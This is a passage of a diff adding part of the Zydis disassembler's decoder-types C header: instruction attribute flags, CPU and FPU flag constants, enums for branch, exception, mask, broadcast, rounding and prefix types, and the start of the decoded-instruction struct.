<< 1) +/** + * The instruction has the `REX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_REX 0x0000000000000004 // (1 << 2) +/** + * The instruction has the `XOP` prefix. + */ +#define ZYDIS_ATTRIB_HAS_XOP 0x0000000000000008 // (1 << 3) +/** + * The instruction has the `VEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_VEX 0x0000000000000010 // (1 << 4) +/** + * The instruction has the `EVEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_EVEX 0x0000000000000020 // (1 << 5) +/** + * The instruction has the `MVEX` prefix. + */ +#define ZYDIS_ATTRIB_HAS_MVEX 0x0000000000000040 // (1 << 6) +/** + * The instruction has one or more operands with position-relative offsets. + */ +#define ZYDIS_ATTRIB_IS_RELATIVE 0x0000000000000080 // (1 << 7) +/** + * The instruction is privileged. + * + * Privileged instructions are any instructions that require a current ring level below 3. + */ +#define ZYDIS_ATTRIB_IS_PRIVILEGED 0x0000000000000100 // (1 << 8) + +/** + * The instruction accesses one or more CPU-flags. + */ +#define ZYDIS_ATTRIB_CPUFLAG_ACCESS 0x0000001000000000 // (1 << 36) // TODO: rebase + +/** + * The instruction may conditionally read the general CPU state. + */ +#define ZYDIS_ATTRIB_CPU_STATE_CR 0x0000002000000000 // (1 << 37) // TODO: rebase +/** + * The instruction may conditionally write the general CPU state. + */ +#define ZYDIS_ATTRIB_CPU_STATE_CW 0x0000004000000000 // (1 << 38) // TODO: rebase +/** + * The instruction may conditionally read the FPU state (X87, MMX). + */ +#define ZYDIS_ATTRIB_FPU_STATE_CR 0x0000008000000000 // (1 << 39) // TODO: rebase +/** + * The instruction may conditionally write the FPU state (X87, MMX). + */ +#define ZYDIS_ATTRIB_FPU_STATE_CW 0x0000010000000000 // (1 << 40) // TODO: rebase +/** + * The instruction may conditionally read the XMM state (AVX, AVX2, AVX-512). + */ +#define ZYDIS_ATTRIB_XMM_STATE_CR 0x0000020000000000 // (1 << 41) // TODO: rebase +/** + * The instruction may conditionally write the XMM state (AVX, AVX2, AVX-512). + */ +#define ZYDIS_ATTRIB_XMM_STATE_CW 0x0000040000000000 // (1 << 42) // TODO: rebase + +/** + * The instruction accepts the `LOCK` prefix (`0xF0`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_LOCK 0x0000000000000200 // (1 << 9) +/** + * The instruction accepts the `REP` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REP 0x0000000000000400 // (1 << 10) +/** + * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPE 0x0000000000000800 // (1 << 11) +/** + * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPZ 0x0000000000000800 // (1 << 11) +/** + * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPNE 0x0000000000001000 // (1 << 12) +/** + * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_REPNZ 0x0000000000001000 // (1 << 12) +/** + * The instruction accepts the `BND` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_BND 0x0000000000002000 // (1 << 13) +/** + * The instruction accepts the `XACQUIRE` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_XACQUIRE 0x0000000000004000 // (1 << 14) +/** + * The instruction accepts the `XRELEASE` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_XRELEASE 0x0000000000008000 // (1 << 15) +/** + * The instruction accepts the `XACQUIRE`/`XRELEASE` prefixes (`0xF2`, `0xF3`) + * without the `LOCK` prefix (`0x0F`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_HLE_WITHOUT_LOCK 0x0000000000010000 // (1 << 16) +/** + * The instruction accepts branch hints (0x2E, 0x3E). + */ +#define ZYDIS_ATTRIB_ACCEPTS_BRANCH_HINTS 0x0000000000020000 // (1 << 17) +/** + * The instruction accepts segment prefixes (`0x2E`, `0x36`, `0x3E`, `0x26`, + * `0x64`, `0x65`). + */ +#define ZYDIS_ATTRIB_ACCEPTS_SEGMENT 0x0000000000040000 // (1 << 18) +/** + * The instruction has the `LOCK` prefix (`0xF0`). + */ +#define ZYDIS_ATTRIB_HAS_LOCK 0x0000000000080000 // (1 << 19) +/** + * The instruction has the `REP` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REP 0x0000000000100000 // (1 << 20) +/** + * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REPE 0x0000000000200000 // (1 << 21) +/** + * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_REPZ 0x0000000000200000 // (1 << 21) +/** + * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_REPNE 0x0000000000400000 // (1 << 22) +/** + * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_REPNZ 0x0000000000400000 // (1 << 22) +/** + * The instruction has the `BND` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_BND 0x0000000000800000 // (1 << 23) +/** + * The instruction has the `XACQUIRE` prefix (`0xF2`). + */ +#define ZYDIS_ATTRIB_HAS_XACQUIRE 0x0000000001000000 // (1 << 24) +/** + * The instruction has the `XRELEASE` prefix (`0xF3`). + */ +#define ZYDIS_ATTRIB_HAS_XRELEASE 0x0000000002000000 // (1 << 25) +/** + * The instruction has the branch-not-taken hint (`0x2E`). + */ +#define ZYDIS_ATTRIB_HAS_BRANCH_NOT_TAKEN 0x0000000004000000 // (1 << 26) +/** + * The instruction has the branch-taken hint (`0x3E`). + */ +#define ZYDIS_ATTRIB_HAS_BRANCH_TAKEN 0x0000000008000000 // (1 << 27) +/** + * The instruction has a segment modifier. + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT 0x00000003F0000000 +/** + * The instruction has the `CS` segment modifier (`0x2E`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_CS 0x0000000010000000 // (1 << 28) +/** + * The instruction has the `SS` segment modifier (`0x36`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_SS 0x0000000020000000 // (1 << 29) +/** + * The instruction has the `DS` segment modifier (`0x3E`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_DS 0x0000000040000000 // (1 << 30) +/** + * The instruction has the `ES` segment modifier (`0x26`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_ES 0x0000000080000000 // (1 << 31) +/** + * The instruction has the `FS` segment modifier (`0x64`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_FS 0x0000000100000000 // (1 << 32) +/** + * The instruction has the `GS` segment modifier (`0x65`). + */ +#define ZYDIS_ATTRIB_HAS_SEGMENT_GS 0x0000000200000000 // (1 << 33) +/** + * The instruction has the operand-size override prefix (`0x66`). + */ +#define ZYDIS_ATTRIB_HAS_OPERANDSIZE 0x0000000400000000 // (1 << 34) // TODO: rename +/** + * The instruction has the address-size override prefix (`0x67`). + */ +#define ZYDIS_ATTRIB_HAS_ADDRESSSIZE 0x0000000800000000 // (1 << 35) // TODO: rename + +/* ---------------------------------------------------------------------------------------------- */ +/* R/E/FLAGS info */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisCPUFlags` data-type. + */ +typedef ZyanU32 ZydisCPUFlags; + +/** + * Defines the `ZydisCPUFlag` data-type. + */ +typedef ZyanU8 ZydisCPUFlag; + +/** + * Carry flag. + */ +#define ZYDIS_CPUFLAG_CF 0 +/** + * Parity flag. + */ +#define ZYDIS_CPUFLAG_PF 2 +/** + * Adjust flag. + */ +#define ZYDIS_CPUFLAG_AF 4 +/** + * Zero flag. + */ +#define ZYDIS_CPUFLAG_ZF 6 +/** + * Sign flag. + */ +#define ZYDIS_CPUFLAG_SF 7 +/** + * Trap flag. + */ +#define ZYDIS_CPUFLAG_TF 8 +/** + * Interrupt enable flag. + */ +#define ZYDIS_CPUFLAG_IF 9 +/** + * Direction flag. + */ +#define ZYDIS_CPUFLAG_DF 10 +/** + * Overflow flag. + */ +#define ZYDIS_CPUFLAG_OF 11 +/** + * I/O privilege level flag. + */ +#define ZYDIS_CPUFLAG_IOPL 12 +/** + * Nested task flag. + */ +#define ZYDIS_CPUFLAG_NT 14 +/** + * Resume flag. + */ +#define ZYDIS_CPUFLAG_RF 16 +/** + * Virtual 8086 mode flag. + */ +#define ZYDIS_CPUFLAG_VM 17 +/** + * Alignment check. + */ +#define ZYDIS_CPUFLAG_AC 18 +/** + * Virtual interrupt flag. + */ +#define ZYDIS_CPUFLAG_VIF 19 +/** + * Virtual interrupt pending. + */ +#define ZYDIS_CPUFLAG_VIP 20 +/** + * Able to use CPUID instruction. + */ +#define ZYDIS_CPUFLAG_ID 21 + +/////////////////////////////////////////////////////////////////////////////////////////////////// + +/** + * FPU condition-code flag 0. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C0 22 +/** + * FPU condition-code flag 1. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C1 23 +/** + * FPU condition-code flag 2. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C2 24 +/** + * FPU condition-code flag 3. + * + * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the + * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and + * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. + */ +#define ZYDIS_CPUFLAG_C3 25 + +/** + * DEPRECATED. This define will be removed in the next major release. + */ +#define ZYDIS_CPUFLAG_MAX_VALUE ZYDIS_CPUFLAG_C3 + + /////////////////////////////////////////////////////////////////////////////////////////////////// + + /** + * Defines the `ZydisFPUFlags` data-type. + */ +typedef ZyanU8 ZydisFPUFlags; + +/** + * FPU condition-code flag 0. + */ +#define ZYDIS_FPUFLAG_C0 0x00 // (1 << 0) +/** + * FPU condition-code flag 1. + */ +#define ZYDIS_FPUFLAG_C1 0x01 // (1 << 1) + /** + * FPU condition-code flag 2. + */ +#define ZYDIS_FPUFLAG_C2 0x02 // (1 << 2) +/** + * FPU condition-code flag 3. + */ +#define ZYDIS_FPUFLAG_C3 0x04 // (1 << 3) + +/** + * Defines the `ZydisCPUFlagAction` enum. + * + * DEPRECATED. This enum will be removed in the next major release. + */ +typedef enum ZydisCPUFlagAction_ +{ + /** + * The CPU flag is not touched by the instruction. + */ + ZYDIS_CPUFLAG_ACTION_NONE, + /** + * The CPU flag is tested (read). + */ + ZYDIS_CPUFLAG_ACTION_TESTED, + /** + * The CPU flag is tested and modified afterwards (read-write). + */ + ZYDIS_CPUFLAG_ACTION_TESTED_MODIFIED, + /** + * The CPU flag is modified (write). + */ + ZYDIS_CPUFLAG_ACTION_MODIFIED, + /** + * The CPU flag is set to 0 (write). + */ + ZYDIS_CPUFLAG_ACTION_SET_0, + /** + * The CPU flag is set to 1 (write). + */ + ZYDIS_CPUFLAG_ACTION_SET_1, + /** + * The CPU flag is undefined (write). + */ + ZYDIS_CPUFLAG_ACTION_UNDEFINED, + + /** + * Maximum value of this enum. + */ + ZYDIS_CPUFLAG_ACTION_MAX_VALUE = ZYDIS_CPUFLAG_ACTION_UNDEFINED, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CPUFLAG_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CPUFLAG_ACTION_MAX_VALUE) +} ZydisCPUFlagAction; + +/* ---------------------------------------------------------------------------------------------- */ +/* Branch types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisBranchType` enum. + */ +typedef enum ZydisBranchType_ +{ + /** + * The instruction is not a branch instruction. + */ + ZYDIS_BRANCH_TYPE_NONE, + /** + * The instruction is a short (8-bit) branch instruction. + */ + ZYDIS_BRANCH_TYPE_SHORT, + /** + * The instruction is a near (16-bit or 32-bit) branch instruction. + */ + ZYDIS_BRANCH_TYPE_NEAR, + /** + * The instruction is a far (inter-segment) branch instruction. + */ + ZYDIS_BRANCH_TYPE_FAR, + + /** + * Maximum value of this enum. + */ + ZYDIS_BRANCH_TYPE_MAX_VALUE = ZYDIS_BRANCH_TYPE_FAR, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_BRANCH_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BRANCH_TYPE_MAX_VALUE) +} ZydisBranchType; + +/* ---------------------------------------------------------------------------------------------- */ +/* SSE/AVX exception-class */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisExceptionClass` enum. + */ +typedef enum ZydisExceptionClass_ +{ + ZYDIS_EXCEPTION_CLASS_NONE, + // TODO: FP Exceptions + ZYDIS_EXCEPTION_CLASS_SSE1, + ZYDIS_EXCEPTION_CLASS_SSE2, + ZYDIS_EXCEPTION_CLASS_SSE3, + ZYDIS_EXCEPTION_CLASS_SSE4, + ZYDIS_EXCEPTION_CLASS_SSE5, + ZYDIS_EXCEPTION_CLASS_SSE7, + ZYDIS_EXCEPTION_CLASS_AVX1, + ZYDIS_EXCEPTION_CLASS_AVX2, + ZYDIS_EXCEPTION_CLASS_AVX3, + ZYDIS_EXCEPTION_CLASS_AVX4, + ZYDIS_EXCEPTION_CLASS_AVX5, + ZYDIS_EXCEPTION_CLASS_AVX6, + ZYDIS_EXCEPTION_CLASS_AVX7, + ZYDIS_EXCEPTION_CLASS_AVX8, + ZYDIS_EXCEPTION_CLASS_AVX11, + ZYDIS_EXCEPTION_CLASS_AVX12, + ZYDIS_EXCEPTION_CLASS_E1, + ZYDIS_EXCEPTION_CLASS_E1NF, + ZYDIS_EXCEPTION_CLASS_E2, + ZYDIS_EXCEPTION_CLASS_E2NF, + ZYDIS_EXCEPTION_CLASS_E3, + ZYDIS_EXCEPTION_CLASS_E3NF, + ZYDIS_EXCEPTION_CLASS_E4, + ZYDIS_EXCEPTION_CLASS_E4NF, + ZYDIS_EXCEPTION_CLASS_E5, + ZYDIS_EXCEPTION_CLASS_E5NF, + ZYDIS_EXCEPTION_CLASS_E6, + ZYDIS_EXCEPTION_CLASS_E6NF, + ZYDIS_EXCEPTION_CLASS_E7NM, + ZYDIS_EXCEPTION_CLASS_E7NM128, + ZYDIS_EXCEPTION_CLASS_E9NF, + ZYDIS_EXCEPTION_CLASS_E10, + ZYDIS_EXCEPTION_CLASS_E10NF, + ZYDIS_EXCEPTION_CLASS_E11, + ZYDIS_EXCEPTION_CLASS_E11NF, + ZYDIS_EXCEPTION_CLASS_E12, + ZYDIS_EXCEPTION_CLASS_E12NP, + ZYDIS_EXCEPTION_CLASS_K20, + ZYDIS_EXCEPTION_CLASS_K21, + ZYDIS_EXCEPTION_CLASS_AMXE1, + ZYDIS_EXCEPTION_CLASS_AMXE2, + ZYDIS_EXCEPTION_CLASS_AMXE3, + ZYDIS_EXCEPTION_CLASS_AMXE4, + ZYDIS_EXCEPTION_CLASS_AMXE5, + ZYDIS_EXCEPTION_CLASS_AMXE6, + + /** + * Maximum value of this enum. + */ + ZYDIS_EXCEPTION_CLASS_MAX_VALUE = ZYDIS_EXCEPTION_CLASS_AMXE6, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EXCEPTION_CLASS_MAX_VALUE) +} ZydisExceptionClass; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX mask mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskMode` enum. + */ +typedef enum ZydisMaskMode_ +{ + ZYDIS_MASK_MODE_INVALID, + /** + * Masking is disabled for the current instruction (`K0` register is used). + */ + ZYDIS_MASK_MODE_DISABLED, + /** + * The embedded mask register is used as a merge-mask. + */ + ZYDIS_MASK_MODE_MERGING, + /** + * The embedded mask register is used as a zero-mask. + */ + ZYDIS_MASK_MODE_ZEROING, + /** + * The embedded mask register is used as a control-mask (element selector). + */ + ZYDIS_MASK_MODE_CONTROL, + /** + * The embedded mask register is used as a zeroing control-mask (element selector). + */ + ZYDIS_MASK_MODE_CONTROL_ZEROING, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_MODE_MAX_VALUE = ZYDIS_MASK_MODE_CONTROL_ZEROING, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_MODE_MAX_VALUE) +} ZydisMaskMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX broadcast-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisBroadcastMode` enum. + */ +typedef enum ZydisBroadcastMode_ +{ + ZYDIS_BROADCAST_MODE_INVALID, + ZYDIS_BROADCAST_MODE_1_TO_2, + ZYDIS_BROADCAST_MODE_1_TO_4, + ZYDIS_BROADCAST_MODE_1_TO_8, + ZYDIS_BROADCAST_MODE_1_TO_16, + ZYDIS_BROADCAST_MODE_1_TO_32, + ZYDIS_BROADCAST_MODE_1_TO_64, + ZYDIS_BROADCAST_MODE_2_TO_4, + ZYDIS_BROADCAST_MODE_2_TO_8, + ZYDIS_BROADCAST_MODE_2_TO_16, + ZYDIS_BROADCAST_MODE_4_TO_8, + ZYDIS_BROADCAST_MODE_4_TO_16, + ZYDIS_BROADCAST_MODE_8_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_BROADCAST_MODE_MAX_VALUE = ZYDIS_BROADCAST_MODE_8_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_BROADCAST_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BROADCAST_MODE_MAX_VALUE) +} ZydisBroadcastMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* AVX rounding-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRoundingMode` enum. + */ +typedef enum ZydisRoundingMode_ +{ + ZYDIS_ROUNDING_MODE_INVALID, + /** + * Round to nearest. + */ + ZYDIS_ROUNDING_MODE_RN, + /** + * Round down. + */ + ZYDIS_ROUNDING_MODE_RD, + /** + * Round up. + */ + ZYDIS_ROUNDING_MODE_RU, + /** + * Round towards zero. + */ + ZYDIS_ROUNDING_MODE_RZ, + + /** + * Maximum value of this enum. + */ + ZYDIS_ROUNDING_MODE_MAX_VALUE = ZYDIS_ROUNDING_MODE_RZ, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ROUNDING_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ROUNDING_MODE_MAX_VALUE) +} ZydisRoundingMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* KNC swizzle-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSwizzleMode` enum. + */ +typedef enum ZydisSwizzleMode_ +{ + ZYDIS_SWIZZLE_MODE_INVALID, + ZYDIS_SWIZZLE_MODE_DCBA, + ZYDIS_SWIZZLE_MODE_CDAB, + ZYDIS_SWIZZLE_MODE_BADC, + ZYDIS_SWIZZLE_MODE_DACB, + ZYDIS_SWIZZLE_MODE_AAAA, + ZYDIS_SWIZZLE_MODE_BBBB, + ZYDIS_SWIZZLE_MODE_CCCC, + ZYDIS_SWIZZLE_MODE_DDDD, + + /** + * Maximum value of this enum. + */ + ZYDIS_SWIZZLE_MODE_MAX_VALUE = ZYDIS_SWIZZLE_MODE_DDDD, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SWIZZLE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SWIZZLE_MODE_MAX_VALUE) +} ZydisSwizzleMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* KNC conversion-mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisConversionMode` enum. + */ +typedef enum ZydisConversionMode_ +{ + ZYDIS_CONVERSION_MODE_INVALID, + ZYDIS_CONVERSION_MODE_FLOAT16, + ZYDIS_CONVERSION_MODE_SINT8, + ZYDIS_CONVERSION_MODE_UINT8, + ZYDIS_CONVERSION_MODE_SINT16, + ZYDIS_CONVERSION_MODE_UINT16, + + /** + * Maximum value of this enum. + */ + ZYDIS_CONVERSION_MODE_MAX_VALUE = ZYDIS_CONVERSION_MODE_UINT16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CONVERSION_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CONVERSION_MODE_MAX_VALUE) +} ZydisConversionMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Legacy prefix type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisPrefixType` enum. + */ +typedef enum ZydisPrefixType_ +{ + /** + * The prefix is ignored by the instruction. + * + * This applies to all prefixes that are not accepted by the instruction in general or the + * ones that are overwritten by a prefix of the same group closer to the instruction opcode. + */ + ZYDIS_PREFIX_TYPE_IGNORED, + /** + * The prefix is effectively used by the instruction. + */ + ZYDIS_PREFIX_TYPE_EFFECTIVE, + /** + * The prefix is used as a mandatory prefix. + * + * A mandatory prefix is interpreted as an opcode extension and has no further effect on the + * instruction. + */ + ZYDIS_PREFIX_TYPE_MANDATORY, + + /** + * Maximum value of this enum. + */ + ZYDIS_PREFIX_TYPE_MAX_VALUE = ZYDIS_PREFIX_TYPE_MANDATORY, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_PREFIX_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PREFIX_TYPE_MAX_VALUE) +} ZydisPrefixType; + +// TODO: Check effective for 66/67 prefixes (currently defaults to EFFECTIVE) + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoded instruction */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Information about a decoded instruction. + */ +typedef struct ZydisDecodedInstruction_ +{ + /** + * The machine mode used to decode this instruction. + */ + ZydisMachineMode machine_mode; + /** + * The instruction-mnemonic. + */ + ZydisMnemonic mnemonic; + /** + * The length of the decoded instruction. + */ + ZyanU8 length; + /** + * The instruction-encoding (`LEGACY`, `3DNOW`, `VEX`, `EVEX`, `XOP`). + */ + ZydisInstructionEncoding encoding; + /** + * The opcode-map. + */ + ZydisOpcodeMap opcode_map; + /** + * The instruction-opcode. + */ + ZyanU8 opcode; + /** + * The stack width. + */ + ZyanU8 stack_width; + /** + * The effective operand width. + */ + ZyanU8 operand_width; + /** + * The effective address width. + */ + ZyanU8 address_width; + /** + * The number of instruction-operands. + */ + ZyanU8 operand_count; + /** + * Detailed info for all instruction operands. + * + * Explicit operands are guaranteed to be in the front and ordered as they are printed + * by the formatter in Intel mode. No assumptions can be made about the order of hidden + * operands, except that they always located behind the explicit operands. + */ + ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT]; + /** + * Instruction attributes. + */ + ZydisInstructionAttributes attributes; + /** + * Information about accessed CPU flags. + * + * DEPRECATED. This field will be removed in the next major release. Please use the + * `cpu_flags_read`/`cpu_flags_written` or `fpu_flags_read`/`fpu_flags_written` fields + * instead. + */ + struct ZydisDecodedInstructionAccessedFlags_ + { + /** + * The CPU-flag action. + * + * Use `ZydisGetAccessedFlagsByAction` to get a mask with all flags matching a specific + * action. + */ + ZydisCPUFlagAction action; + } accessed_flags[ZYDIS_CPUFLAG_MAX_VALUE + 1]; + /** + * A mask containing the CPU flags read by the instruction. + * + * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` + * register. + * + * This mask includes the actions `TESTED` and `TESTED_MODIFIED`. + */ + ZydisCPUFlags cpu_flags_read; + /** + * A mask containing the CPU flags written by the instruction. + * + * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` + * register. + * + * This mask includes the actions `TESTED_MODIFIED`, `SET_0`, `SET_1` and `UNDEFINED`. + */ + ZydisCPUFlags cpu_flags_written; + /** + * A mask containing the FPU flags read by the instruction. + */ + ZydisFPUFlags fpu_flags_read; + /** + * A mask containing the FPU flags written by the instruction. + */ + ZydisFPUFlags fpu_flags_written; + /** + * Extended info for `AVX` instructions. + */ + struct ZydisDecodedInstructionAvx_ + { + /** + * The `AVX` vector-length. + */ + ZyanU16 vector_length; + /** + * Info about the embedded writemask-register (`AVX-512` and `KNC` only). + */ + struct ZydisDecodedInstructionAvxMask_ + { + /** + * The masking mode. + */ + ZydisMaskMode mode; + /** + * The mask register. + */ + ZydisRegister reg; + } mask; + /** + * Contains info about the `AVX` broadcast. + */ + struct ZydisDecodedInstructionAvxBroadcast_ + { + /** + * Signals, if the broadcast is a static broadcast. + * + * This is the case for instructions with inbuilt broadcast functionality, which is + * always active and not controlled by the `EVEX/MVEX.RC` bits. + */ + ZyanBool is_static; + /** + * The `AVX` broadcast-mode. + */ + ZydisBroadcastMode mode; + } broadcast; + /** + * Contains info about the `AVX` rounding. + */ + struct ZydisDecodedInstructionAvxRounding_ + { + /** + * The `AVX` rounding-mode. + */ + ZydisRoundingMode mode; + } rounding; + /** + * Contains info about the `AVX` register-swizzle (`KNC` only). + */ + struct ZydisDecodedInstructionAvxSwizzle_ + { + /** + * The `AVX` register-swizzle mode. + */ + ZydisSwizzleMode mode; + } swizzle; + /** + * Contains info about the `AVX` data-conversion (`KNC` only). + */ + struct ZydisDecodedInstructionAvxConversion_ + { + /** + * The `AVX` data-conversion mode. + */ + ZydisConversionMode mode; + } conversion; + /** + * Signals, if the `SAE` (suppress-all-exceptions) functionality is + * enabled for the instruction. + */ + ZyanBool has_sae; + /** + * Signals, if the instruction has a memory-eviction-hint (`KNC` only). + */ + ZyanBool has_eviction_hint; + // TODO: publish EVEX tuple-type and MVEX functionality + } avx; + /** + * Meta info. + */ + struct ZydisDecodedInstructionMeta_ + { + /** + * The instruction category. + */ + ZydisInstructionCategory category; + /** + * The ISA-set. + */ + ZydisISASet isa_set; + /** + * The ISA-set extension. + */ + ZydisISAExt isa_ext; + /** + * The branch type. + */ + ZydisBranchType branch_type; + /** + * The exception class. + */ + ZydisExceptionClass exception_class; + } meta; + /** + * Detailed info about different instruction-parts like `ModRM`, `SIB` or + * encoding-prefixes. + */ + struct ZydisDecodedInstructionRaw_ + { + /** + * The number of legacy prefixes. + */ + ZyanU8 prefix_count; + /** + * Detailed info about the legacy prefixes (including `REX`). + */ + struct ZydisDecodedInstructionRawPrefixes_ + { + /** + * The prefix type. + */ + ZydisPrefixType type; + /** + * The prefix byte. + */ + ZyanU8 value; + } prefixes[ZYDIS_MAX_INSTRUCTION_LENGTH]; + /** + * Detailed info about the `REX` prefix. + */ + struct ZydisDecodedInstructionRawRex_ + { + /** + * 64-bit operand-size promotion. + */ + ZyanU8 W; + /** + * Extension of the `ModRM.reg` field. + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field. + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field. + */ + ZyanU8 B; + /** + * The offset of the effective `REX` byte, relative to the beginning of the + * instruction, in bytes. + * + * This offset always points to the "effective" `REX` prefix (the one closest to the + * instruction opcode), if multiple `REX` prefixes are present. + * + * Note that the `REX` byte can be the first byte of the instruction, which would lead + * to an offset of `0`. Please refer to the instruction attributes to check for the + * presence of the `REX` prefix. + */ + ZyanU8 offset; + } rex; + /** + * Detailed info about the `XOP` prefix. + */ + struct ZydisDecodedInstructionRawXop_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). + */ + ZyanU8 B; + /** + * Opcode-map specifier. + */ + ZyanU8 m_mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register + * specifier (inverted). + */ + ZyanU8 vvvv; + /** + * Vector-length specifier. + */ + ZyanU8 L; + /** + * Compressed legacy prefix. + */ + ZyanU8 pp; + /** + * The offset of the first xop byte, relative to the beginning of + * the instruction, in bytes. + */ + ZyanU8 offset; + } xop; + /** + * Detailed info about the `VEX` prefix. + */ + struct ZydisDecodedInstructionRawVex_ + { + /** + * Extension of the `ModRM.reg` field (inverted). + */ + ZyanU8 R; + /** + * Extension of the `SIB.index` field (inverted). + */ + ZyanU8 X; + /** + * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). + */ + ZyanU8 B; + /** + * Opcode-map specifier. + */ + ZyanU8 m_mmmm; + /** + * 64-bit operand-size promotion or opcode-extension. + */ + ZyanU8 W; + /** + * `NDS`/`NDD` (non-destructive-source/destination) register specifier + * (inverted). + */ + ZyanU8 vvvv; + /** + * Vector-length specifier. 